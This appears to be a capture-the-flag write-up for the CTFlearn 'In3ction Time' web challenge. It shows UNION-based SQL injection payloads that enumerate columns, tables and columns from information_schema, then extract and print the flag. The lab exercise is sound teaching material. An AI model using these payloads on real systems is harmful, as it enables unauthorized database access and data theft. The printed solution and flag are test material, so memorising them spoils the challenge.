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In3ction Time

I stumbled upon this website: http://web.ctflearn.com/web8/ and I think they have the flag in their somewhere. UNION might be a helpful command

1

Determining the number of columns required​

Let's find out how many columns this table has using the NULL values.

UNION SELECT NULL
UNION SELECT NULL,NULL
UNION SELECT NULL,NULL,NULL

When the number of NULL values matches the number of columns, the database returns a proper output.

1 UNION SELECT NULL, NULL, NULL, NULL

2

So the current table has four columns.

Finding all tables from the database​

Now we want to find out the other tables so that we can figure out which one might be useful for us.

For that we can query information_schema.tables to list the tables in the database

1 UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.tables

3

Useful table: w0w_y0u_f0und_m3

Finding all columns from w0w_y0u_f0und_m3​

In order to find all the columns in the database we have to query information_schema.columns.

1 UNION SELECT column_name, NULL, NULL, NULL FROM information_schema.columns

4

Useful column: f0und_m3

Finding the flag​

For the final step, we simply have to modify our query a little bit and select from w0w_y0u_f0und_m3.

1 UNION SELECT f0und_m3, NULL, NULL, NULL FROM w0w_y0u_f0und_m3

5

Flag​

CTFlearn{uni0n_1s_4_gr34t_c0mm4nd}